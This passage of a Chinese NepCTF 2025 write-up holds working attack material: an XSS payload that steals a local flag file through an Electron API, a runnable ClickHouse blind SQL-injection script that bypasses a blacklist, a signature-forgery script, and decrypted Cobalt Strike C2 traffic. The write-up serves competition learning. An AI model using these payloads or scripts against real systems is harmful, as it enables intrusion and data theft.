{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}
```

```json
{"success":true,"message":"背景设置成功"}
```

访问 /api/bot ，请求响应包如下。

```http
GET /api/bot HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes


```

```json
{"success":true,"message":"bot visit success"}
```

访问 /api/user ，得到 flag。（如果没有的话尝试多触发几次 /api/bot）

```http
GET /api/user HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com/dashboard.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive


```

```json
{"username":"admin","role":"admin","uuid":"826ccaea-365e-4668-a3b4-0564e0d043b9","bio":"{&#x22;success&#x22;:true,&#x22;data&#x22;:&#x22;NepCTF{10362373-0da4-48c1-0f14-6a60934c227f}\\n&#x22;}"}
```

### 我难道不是 SQL 注入天才吗

> Hint: 后端数据库是 `clickhouse` ，黑名单字符串如下 `preg_match('/select.*from|\(|or|and|union|except/is',$id)` 。

> 本题通过 NepCTF QQ 群的师傅们所发的 Exp 进行复现。

通过传入 `1` 、`2` 、`3` 等等可以输出 id 为相应值的结果。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FtJIeNzrC6KXtYv1KwqZi%2Fsql-1.png?alt=media&amp;token=9d01996d-e134-41cb-b9be-1156c59bc22f" alt=""><figcaption></figcaption></figure>

通过 BP 传入 `id` 发现输出了所有用户数据。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FSHJUM2GRsbPz9ADmHYsV%2Fsql-2.png?alt=media&amp;token=50db38fc-07ac-448b-b514-e40df4000ed5" alt=""><figcaption></figcaption></figure>

通过 BP 传入 `name` 发现输出了报错。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FYJNaVguAyH3RwEUMLR67%2Fsql-3.png?alt=media&amp;token=6a409cd6-fcfb-4dc4-a236-582984daa63d" alt=""><figcaption></figcaption></figure>

```
查询失败: There is no supertype for types UInt32, String because some of them are String\/FixedString\/Enum and some of them are not. (NO_COMMON_TYPE) 
IN:SELECT * 
            FROM users 
            WHERE id = name FORMAT JSON
```

通过 AI 可以发现得到这是典型 **ClickHouse** 错误信息，并且可以得到服务端中的注入点语句如下。

```sql
SELECT * FROM users WHERE id = {user_input} FORMAT JSON
```

通过 INTERSECT 和 LIKE 子句实现盲注，INTERSECT 子句实现计算两个查询的交集，但需要**两个查询语句的列数量、类型和顺序一致**，返回结果仅包括两个查询中**重复的记录**。

来解释下 Exp 中的 Payload。

```python
payload_template = "id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"
```

拼下后的 SQL 语句如下。

```sql
SELECT users.id, users.name, users.email, users.age
FROM users
WHERE users.id = id INTERSECT
FROM system.databases AS inject
JOIN users ON inject.name LIKE '{pattern}'
SELECT users.id, users.name, users.email, users.age
FORMAT JSON;
```

在 ClickHouse 中，可以**将 `FROM` 放在 `SELECT` 子句之前**，因此可以通过这种方式绕过黑名单中的 `select.*from` 。另外，`JOIN` 和 `ARRAY JOIN` 子句也可以用于扩展 `FROM` 子句功能。

INTERSECT 子句的前一半内容如下，返回的内容是所有用户的 ID、Name、Email 和 Age 。

```sql
SELECT users.id, users.name, users.email, users.age FROM users WHERE users.id = id
```

后一半的内容转换成熟悉的样子如下所示。

```sql
SELECT users.id, users.name, users.email, users.age
FROM system.databases
JOIN users ON system.databases.name LIKE '{pattern}'
```

该依据同样跟前一半一样，获取了用户的 ID、Name、Email 和 Age，虽然 FROM 是系统中所有数据库的信息，但是 JOIN 子句访问了用户表 `users` ，将 ON 条件当作 IF 判断来用，若 ON 条件为真则同样输出**所有用户的 ID、Name、Email 和 Age** 。

此时，与 INTERSECT 子句的前一半内容取交集输出结果。因此，可以通过 ON 条件盲注出所想要的数据。具体原理就是上面这样，感谢群里师傅发的 Exp ！

由于 Exp 缺少了对于内存超限（如下图所示）时候的重试，以及在爆破 Flag 的时候依旧采用 BFS 导致爆破效率较低，故使用 AI 进行了一些优化\~

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FLFvjyHApR2HJGiMOqouC%2Fsql-4.png?alt=media&amp;token=80c0f5a2-4078-4593-a38d-c92baf6c7a85" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FsEKeFaCQEIDwCUt7tbyL%2Fsql-5.png?alt=media&amp;token=a7613b23-d4c5-4e13-b5a0-999582555a08" alt=""><figcaption></figcaption></figure>

优化后 Exp 如下，请自行根据所爆破的字段修改 FLAG\_MODE 的值。

```python
import requests
from collections import deque
from urllib.parse import urlparse
import string
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# --- 配置 ---
URL = "https://nepctf30-ke4r-6c0a-zqqw-zxi9nxp4k595.nepctf.com"
CHARSET = '1234567890abcdef-}'
# CHARSET = string.ascii_lowercase + string.digits + '~`!@#$%^&*()+-={}[]\|<>,.?/_'
# CHARSET = string.ascii_letters + string.digits + string.punctuation
# 库
# payload_template = "id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"
# 表
# payload_template = "id INTERSECT FROM system.tables AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.database='nepnep'"
# 名
# payload_template = "id INTERSECT FROM system.columns AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.table='nepnep'"
# flag
# python test2.py "NepCTF{"
FLAG_MODE = True  # True 表示爆破 flag，False 表示遍历所有可能的表名
payload_template = "id INTERSECT FROM nepnep.nepnep AS inject JOIN users ON inject.`51@g_ls_h3r3` LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"


HOSTNAME = urlparse(URL).hostname
HEADERS = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive',
    'Host': HOSTNAME
}

# 添加代理配置 (默认指向Burp Suite)
PROXIES = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}
# 每次请求后的延迟时间（秒），以避免过快请求导致被封禁
REQUEST_DELAY = 3


# --- 核心检测函数 ---

def check(prefix, exact_match=False, max_retries=10, retry_delay=5):
    """
    发送盲注Payload，根据响应判断条件是否为真。
    内存超限时会自动等待 retry_delay 秒重试，最多 max_retries 次。
    """
    like_pattern = prefix if exact_match else f"{prefix}%"
    final_payload = payload_template.format(pattern=like_pattern)
    data = {'id': final_payload}

    attempt = 0
    while attempt < max_retries:
        attempt += 1
        try:
            response = requests.post(
                URL,
                headers=HEADERS,
                data=data,
                timeout=15,
                proxies=PROXIES,
                verify=False
            )

            # 每次请求后暂停，避免触发防护
            time.sleep(REQUEST_DELAY)

            # --- 内存超限处理 ---
            if "MEMORY_LIMIT_EXCEEDED" in response.text or "memory limit exceeded" in response.text:
                print(f"[!] 内存超限 (第{attempt}次尝试) -> 前缀 '{prefix}'")
                if attempt < max_retries:
                    print(f"    等待 {retry_delay} 秒后重试...")
                    time.sleep(retry_delay)
                    continue
                else:
                    print(f"[-] 前缀 '{prefix}' 多次内存超限，放弃本次尝试。")
                    return False

            # --- 成功返回判断 ---
            return 'User_5' in response.text

        except requests.exceptions.RequestException as e:
            print(f"[Error] 请求失败 (第{attempt}次) 前缀 '{prefix}': {e}", file=sys.stderr)
            if attempt < max_retries:
                print(f"    等待 {retry_delay} 秒后重试...")
                time.sleep(retry_delay)
            else:
                return False


# --- 广度优先搜索 (BFS) 算法 ---

def bfs_discover(start_prefix=""):
    """
    使用 BFS / DFS 爆破，根据 FLAG_MODE 自动切换策略：
    - FLAG_MODE = True  : 找到一个字符立即进入下一位（类似 DFS）
    - FLAG_MODE = False : 完整 BFS 遍历所有可能字符
    """
    print("--- [ 启动盲注爆破脚本 ] ---")
    queue = deque()
    found_names = set()

    # 1. 初始化队列
    if start_prefix:
        print(f"\n[+] 从指定前缀 '{start_prefix}' 开始搜索...")
        if check(start_prefix):
            print(f"  - 前缀 '{start_prefix}' 有效，加入队列。")
            queue.append(start_prefix)
            if check(start_prefix, exact_match=True):
                print(f"  [!] 指定前缀即完整项: {start_prefix}")
                found_names.add(start_prefix)
        else:
            print(f"[-] 前缀 '{start_prefix}' 无效或无返回，终止。")
            return
    else:
        if FLAG_MODE:
            # flag 模式从空前缀开始 DFS
            print("[+] FLAG_MODE: 从空前缀开始 DFS 爆破。")
            queue.append("")
        else:
            # 枚举模式 BFS 初始化
            print("\n[+] 正在探测第一层前缀...")
            for char in CHARSET:
                if check(char):
                    print(f"  - 发现有效起始字符: '{char}'")
                    queue.append(char)
                    if check(char, exact_match=True):
                        print(f"  [!] 发现完整项: {char}")
                        found_names.add(char)

    if not queue:
        print("[-] 初始队列为空，退出。")
        return

    # 2. BFS/DFS 遍历
    level = len(start_prefix) if start_prefix else 0
    while queue:
        level_size = len(queue)
        print(f"\n--- 正在处理长度为 {level + 1} 的前缀 (当前队列: {level_size}) ---")

        for _ in range(level_size):
            current_prefix = queue.popleft()
            print(f"[INFO] 扩展前缀: '{current_prefix}'")

            for char in CHARSET:
                new_prefix = current_prefix + char

                # 检查新前缀是否存在
                if check(new_prefix):
                    print(f"  - 有效前缀: '{new_prefix}'")
                    queue.append(new_prefix)

                    # 检查是否完整项
                    if check(new_prefix, exact_match=True):
                        print(f"\n  [!] 发现完整项: {new_prefix}\n")
                        found_names.add(new_prefix)

                    if FLAG_MODE:
                        # FLAG_MODE 下立即进入下一位，不再爆破同层其他字符
                        print(f"  [FLAG_MODE] 立即进入下一位爆破: '{new_prefix}'")
                        queue.clear()
                        queue.append(new_prefix)
                        break  # 跳出 CHARSET 循环
            # FLAG_MODE 下，一旦找到字符就不再处理同层其他前缀
            if FLAG_MODE and queue:
                break

        level += 1
        time.sleep(0.5)  # 避免过快请求

    print("\n--- [ 爆破完成 ] ---")
    if found_names:
        print("[SUCCESS] 发现的完整项:")
        for name in sorted(list(found_names)):
            print(f"  -> {name}")
    else:
        print("[-] 未能发现任何完整项。")


# --- 脚本主入口 ---
if __name__ == "__main__":
    # 从命令行参数获取可选的起始前缀
    print(f"用法: python {sys.argv[0]} [可选的起始前缀]")
    start_prefix = ""
    if len(sys.argv) > 1:
        start_prefix = sys.argv[1]
        print(f"\n[*] 检测到命令行参数，将使用 '{start_prefix}' 作为起始前缀进行搜索。")
    else:
        print("\n[*] 未提供起始前缀，将从头开始搜索所有表名。")

    bfs_discover(start_prefix)
```

通过运行 `python test2.py "NepCTF{"` 稍许片刻（可能是片刻）即可得到 flag ，若出现多次内存超限，可尝试歇几分钟再来猛攻。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FgjdtJtG0fW8Fz3KmbvvT%2Fsql-6.png?alt=media&amp;token=e3de246b-69f7-43cf-a529-0ad93f0213cf" alt=""><figcaption></figcaption></figure>

## Misc

### NepBotEvent

根据题目描述可知为 Linux 系统环境，需结合 Linux `input_event` 格式解密，用 AI 糊一个脚本。

<https://github.com/albert-gee/linux-keylogger>

```python
import struct

file_path = "E:\\NepCTF\\nepbotevent\\NepBot_keylogger"

NORMAL_KEYMAP = {
    2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
    12: '-', 13: '=', 14: '[BKSP]', 15: '\t',
    16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p',
    26: '[', 27: ']', 28: '\n',
    30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l',
    39: ';', 40: '\'', 41: '`',
    44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',
    51: ',', 52: '.', 53: '/',
    57: ' ', 58: '[CAPSLOCK]', 42: '[LSHIFT]', 54: '[RSHIFT]', 29: '[CTRL]',
    55: '*', 74: '-', 78: '+', 83: '.', 96: '\n'
}

SHIFT_KEYMAP = {
    2: '!', 3: '@', 4: '#', 5: '$', 6: '%', 7: '^', 8: '&', 9: '*', 10: '(', 11: ')',
    12: '_', 13: '+',
    16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P',
    26: '{', 27: '}', 28: '\n',
    30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L',
    39: ':', 40: '"', 41: '~',
    44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M',
    51: '<', 52: '>', 53: '?',
    57: ' '
}

def decode_linux_input_event(filename):
    result = ""
    shift = False

    with open(filename, "rb") as f:
        while True:
            data = f.read(24)
            if len(data) < 24:
                break

            # 结构为 struct timeval + type + code + value
            sec, usec, type_, code, value = struct.unpack("<qqHHI", data)

            # 只处理键盘事件（type = 1）
            if type_ != 1:
                continue

            # Shift 键处理（keycode 42 或 54）
            if code in (42, 54):  # Left or Right Shift
                shift = (value == 1)  # 按下为 True，释放为 False
                continue

            # 只处理按下事件（value == 1）
            if value != 1:
                continue

            # 获取映射字符
            if shift:
                char = SHIFT_KEYMAP.get(code)
            else:
                char = NORMAL_KEYMAP.get(code)

            if char:
                result += char
            else:
                result += f"[{code}]"

    return result

print(decode_linux_input_event(file_path))
'''
whoami
ifconfig
uanme -a[BKSP][BKSP]uname -a
ps -aux
cat /etc/issue
pwd
mysql -uroot -proot
show databases;
ue[BKSP]se NE[BKSP][BKSP]NepCTF-20250725-114514;
show tables;
Enjoy yourself~
See u again.
Hacked By 1cePeak:)
[CTRL]c
'''
```

Flag 就是 `NepCTF{NepCTF-20250725-114514}`

### SpeedMino

游戏每次得分整数增加时都会对存储在 `youwillget` 数组中的密文调用一次 `calcData()`；当调用次数达到 2600 次时，这个数组就变成了真正的 flag。但在开始游戏时还会先用 55 个空格（从剪贴板读取后补足）对 RC 4 进行一次初始化，所以总的调用顺序是：先对 55 个空格调用一次 `calcData()`，然后对 `youwillget` 调用 2600 次。

```python
key = "Speedmino Created By MrZ and modified by zxc"
S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + ord(key[i % len(key)])) % 256
    S[i], S[j] = S[j], S[i]
secret_i, secret_j = 0, 0

def calcData(data):
    global secret_i, secret_j, S
    result = []
    for val in data:
        secret_i = (secret_i + 1) % 256
        secret_j = (secret_j + S[secret_i]) % 256
        S[secret_i], S[secret_j] = S[secret_j], S[secret_i]
        keystream = S[(S[secret_i] + S[secret_j]) % 256]
        result.append((val + keystream) % 256)
    return result

passTable = [32] * 55
calcData(passTable)

youwillget = [187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,
              210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,
              72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,
              82,253,148,6]

for _ in range(2600):
    youwillget = calcData(youwillget)

flag = ''.join(chr(c) if 32 <= c < 127 else '#' for c in youwillget)
print(flag)
# NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
```

### 客服小美

流量为 CS 流量，通过流量包可知 IP 和端口 `192.168.27.132:12580`

```http
GET /TJvI HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Host: 192.168.27.132:12580
Connection: Keep-Alive
Cache-Control: no-cache
```

通过 Volatility 查看版本可知为 `Win10x64_19041` 。

```bash
$ python vol.py -f ~/Desktop/DESKTOP.raw imageinfo                                                                            
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_19041
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/kali/Desktop/DESKTOP.raw)
                      PAE type : No PAE
                           DTB : 0x1ad000L
                          KDBG : 0xf8005221eb20L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff80050626000L
                KPCR for CPU 1 : 0xffffb181d5940000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2025-01-13 07:30:02 UTC+0000
     Image local date and time : 2025-01-13 15:30:02 +0800
```

通过查询进程发现可疑进程 `s?2025t??G???` ，PID 为 6492。

```bash
$ python vol.py -f ~/Desktop/DESKTOP.raw --profile=Win10x64_19041 pslist

Volatility Foundation Volatility Framework 2.6.1

Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit

------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------

0xffffd804acd6b080 s?2025t??G??? 6492 3944 5 0 1 0 2025-01-13 07:29:00 UTC+0000
```

导出可疑进程内存数据。

```bash
$ python vol.py -f ~/Desktop/DESKTOP.raw --profile=Win10x64_19041 memdump --pid=6492 --dump-dir=.
```

> <https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-parse-traffic.py>

通过 `cs-parse-traffic.py` 尝试提取加密数据流量。

```bash
$ python cs-parse-traffic.py -k unknown ./DESKTOP.pcapng

发现
Packet number: 83
HTTP response (for request 80 GET)
Length raw data: 48
ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd

Packet number: 83
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 48
ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd
```

> <https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-extract-key.py>

通过 `cs-extract-key.py` 尝试提取密钥。

```bash
$ python cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd ./6492.dmp
File: ./6492.dmp
Searching for AES and HMAC keys
Found 2 instance(s) of string sha256\x00
Searching after sha256\x00 string (0x61a44)
AES key position: 0x00068c60
AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.200000
HMAC key position: 0x00068c70
HMAC Key: 35d34ac8778482751682514436d71e09
SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
Searching for raw key
Searching after sha256\x00 string (0x22562f4)
Searching for raw key
```

尝试通过提取的密钥进行解密。

```bash
$ python cs-parse-traffic.py -k 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ./DESKTOP.pcapng
Packet number: 25
HTTP response (for request 6 GET)
Length raw data: 296007
HMAC signature invalid

Packet number: 25
HTTP request 
http://192.168.27.132:12580/TJvI
Length raw data: 296007
HMAC signature invalid

Packet number: 47
HTTP response (for request 44 GET)
Length raw data: 48
Timestamp: 1736753356 20250113-072916
Data size: 12
Command: 32 COMMAND_PS
 Arguments length: 4
 b'\x00\x00\x00\x00'
 MD5: f1d3ff8443297732862df21dc4e57262

Packet number: 47
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 48
HMAC signature invalid

Packet number: 56
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 2532
Counter: 2
Callback: 17 CALLBACK_PROCESS_LIST
* An error occured
'utf-8' codec can't decode byte 0xb9 in position 2150: invalid start byte
Packet number: 83
HTTP response (for request 80 GET)
Length raw data: 48
Timestamp: 1736753476 20250113-073116
Data size: 19
Command: 53 COMMAND_LS
 Arguments length: 11
 b'\xff\xff\xff\xfe\x00\x00\x00\x03.\\*'
 MD5: 4a2685ea905daff3380145bc124d7b2b

Packet number: 83
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 48
HMAC signature invalid

Packet number: 90
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 356
Counter: 3
Callback: 22 CALLBACK_PENDING
B'\xff\xff\xff\xfe'
----------------------------------------------------------------------------------------------------
C:\Users\JohnDoe\Desktop\*
D       0       01/13/2025 15:31:07     .
D       0       01/13/2025 15:31:07     ..
F       282     01/13/2025 15:19:00     desktop.ini
F       207496  01/13/2025 11:49:56     DumpIt. Exe
F       2332    01/13/2025 15:19:01     Microsoft Edge.lnk
F       36      01/13/2025 15:31:02     secret.txt
F       19456   01/13/2025 14:13:11     ¹ØÓÚ2025Äê²¿·Ö½Ú¼ÙÈÕ°²ÅÅµÄÍ¨Öª.exe

----------------------------------------------------------------------------------------------------
Extra packet data: b'\x 00'

Packet number: 103
HTTP response (for request 100 GET)
Length raw data: 80
Timestamp: 1736753536 20250113-073216
Data size: 46
Command: 78 COMMAND_EXECUTE_JOB
 Command: b'%COMSPEC%'
 Arguments: b' /C type secret.txt'
 Integer: 0

Packet number: 103
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 80
HMAC signature invalid

Packet number: 110
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 84
Counter: 4
Callback: 30 CALLBACK_OUTPUT_OEM
5 c 1 eb 2 c 4-0 b 85-491 f-8 d 50-4 e 965 b 9 d 8 a 43

Packet number: 123
HTTP response (for request 120 GET)
Length raw data: 784
Timestamp: 1736753596 20250113-073316
Data size: 755
Command: 77 COMMAND_GETPRIVS
 Arguments length: 747
 B'\x 00\x 1 c\x 00\x 00\x 00\x 10 SeDebugPrivilege\x 00\x 00\x 00\x 0 eSeTcbPrivilege\x 00\x 00\x 00\x 16 SeCreateToke
 MD 5: 8 b 790 ecaad 62 b 13 b 5 c 2 ccb 1330 abb 9 d 7

Packet number: 123
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 784
HMAC signature invalid

Packet number: 130
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 100
Counter: 5
Callback: 0 CALLBACK_OUTPUT
----------------------------------------------------------------------------------------------------
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege

----------------------------------------------------------------------------------------------------

Packet number: 144
HTTP response (for request 141 GET)
Length raw data: 48
Timestamp: 1736753656 20250113-073416
Data size: 8
Command: 27 COMMAND_GETUID
 Arguments length: 0

Packet number: 144
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 48
HMAC signature invalid

Packet number: 151
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 68
Counter: 6
Callback: 16 CALLBACK_TOKEN_GETUID
B'DESKTOP-OKEP 6 GL\\JohnDoe'

Packet number: 169
HTTP response (for request 165 GET)
Length raw data: 3264
Timestamp: 1736753716 20250113-073516
Data size: 3239
Command: 100 COMMAND_INLINE_EXECUTE_OBJECT
 Arguments length: 3231
 B'\x 00\x 00\x 04@\x 00\x 00\x 00\x 00\x 00\x 00\x 05\xb 2 H\x 83\xec 8 L\x 8 dL$ E 3\xc 0\xba\x 01\x 00\x 00\x 00\xb 9\x 14\
 MD 5: 957 b 9 ec 334 b 8 fd 09 dcc 1 d 5330 c 5 a 4 edb

Packet number: 169
HTTP request 
http://192.168.27.132:12580/ca
Length raw data: 3264
HMAC signature invalid

Packet number: 176
HTTP request POST
http://192.168.27.132:12580/submit.php?id=1389642286
Length raw data: 68
Counter: 7
Callback: 0 CALLBACK_OUTPUT
----------------------------------------------------------------------------------------------------
Getsystem failed.
----------------------------------------------------------------------------------------------------
Extra packet data: b'\x 00\x 00\x 00'

Commands summary:
 27 COMMAND_GETUID: 1
 32 COMMAND_PS: 1
 53 COMMAND_LS: 1
 77 COMMAND_GETPRIVS: 1
 78 COMMAND_EXECUTE_JOB: 1
 100 COMMAND_INLINE_EXECUTE_OBJECT: 1

Callbacks summary:
 0 CALLBACK_OUTPUT: 2
 16 CALLBACK_TOKEN_GETUID: 1
 17 CALLBACK_PROCESS_LIST: 1
 22 CALLBACK_PENDING: 1
 30 CALLBACK_OUTPUT_OEM: 1
```

可知用户名为 `JohnDoe` ，并且获得的 secret 为 `5c1eb2c4-0b85-491f-8d50-4e965b9d8a43` 。

拼接得到 Flag `NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}` 。

## Crypto

### Nepsign

题目在 SM3 上实现了一个单次签名，但服务器允许对任意消息进行多次请求签名。通过找出链中每一步所需的链元，最终拼出对目标消息的签名。

```python
import socket
import ssl
import random
from ast import literal_eval
from gmssl import sm3

HOST,PORT = "nepctf32-cpjy-dzfu-pjzm-gti8isehg505.nepctf.com",443

def sm3_bytes(m: bytes) -> bytes:
    return bytes.fromhex(sm3.sm3_hash(list(m)))

def compute_steps(m: bytes) -> list[int]:
    h = sm3_bytes(m)
    a = list(h)
    hx = sm3.sm3_hash(list(m))
    checksum = []
    for sym in "0123456789abcdef":
        s = sum(pos for pos, ch in enumerate(hx, 1) if ch == sym) % 255
        checksum.append(s)
    return a + checksum

def recv_until(s: ssl.SSLSocket, tok: bytes) -> bytes:
    buf = b""
    while not buf.endswith(tok):
        buf += s.recv(1)
    return buf

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

raw = socket.create_connection((HOST, PORT))
s = ctx.wrap_socket(raw, server_hostname=HOST)

print(recv_until(s, b"> "))

# 计算目标消息的步长数组
target = b"happy for NepCTF 2025"
tsteps = compute_steps(target)

# 存放各段链元
qqs = [None] * 48
flag = 0

# 收集链元
for k in range(48):
    want = tsteps[k]
    attempts = 0
    print(f"[*] Mining segment {k}, target step = {want}")
    while True:
        attempts += 1
        rnd = random.randbytes(8)
        if compute_steps(rnd)[k] != want:
            if attempts % 500 == 0:
                print(f"    segment {k}: tried {attempts} msgs…", end="\r", flush=True)
            continue
        print(f"    rnd {k}: {rnd.hex().encode()}")
        if flag == 0 :
            flag = 1
        elif flag == 1 :
            recv_until(s, b"> ")
        s.sendall(b"1\n")
        recv_until(s, b"msg: ")
        s.sendall(rnd.hex().encode() + b"\n")
        line = recv_until(s, b"\n").decode().strip()
        print(line)
        sig_list = literal_eval(line)
        qqs[k] = sig_list[k]
        print(f"\n    ✓ segment {k} done in {attempts} tries.")
        break

# 拼接并提交伪造签名
recv_until(s, b"> ")
s.sendall(b"2\n")
recv_until(s, b"give me a qq: ")
forged = "[" + ",".join(repr(x) for x in qqs) + "]"
s.sendall(forged.encode() + b"\n")

# 读 flag
flag = recv_until(s, b"\n").decode().strip()
print(flag)

s.close()
```

## ICS

### 薯饼的 PLC

打开附件发现全是 TCP ，通过 TCP Payload 发现存在 S7COMM 流量，查看端口发现 PLC 端口为 `11102` ，主机端口为 `49810` 。

通过编辑-首选项-Protocols-TPKT 中的 TPKT TCP port (s) 中加上 `11102` 和 `49810` 。

通过 `s7comm` 筛选可以发现存在请求包中的 DB number 有 `1002` 和 `1003` 。

通过 `s7comm.param.item.db == 1002` 筛选可以发现存在请求包中所请求的地址均为**连续**。

通过脚本提取 DB number 为 `1002` 的请求包的响应包，从响应包中获取 Data 数据。由于通过跟踪 TCP 流发现均在一个 TCP 流中，并且 DB number 为请求包中倒数第五第六个字节，Data 为响应包中倒数第二个字节，因此直接将原始数据丢进去还原出数据。（ hex\_blob 有所省略）

```python
hex_blob = """
0300001f02f0803201000008fc000e00000401120a1002000103ea84001f50
0300001b02f0803203000008fc0002000600000401000400083000
0300001f02f0803201000008fc000e00000401120a1002000103ea84001f51
0300001b02f0803203000008fc0002000600000401000400083100
0300001f02f0803201000008fc000e00000401120a1002000103ea84001f52
0300001b02f0803203000008fc0002000600000401000400083000
0300001f02f0803201000008fc000e00000401120a1002000103ea84001f53
0300001b02f0803203000008fc0002000600000401000400083000
0300001f02f0803201000008fc000e00000401120a1002000103ea84001f54
0300001b02f0803203000008fc0002000600000401000400083100
...
"""

# 预处理：拆分非空行
hex_strings = [line.strip() for line in hex_blob.strip().splitlines() if line.strip()]

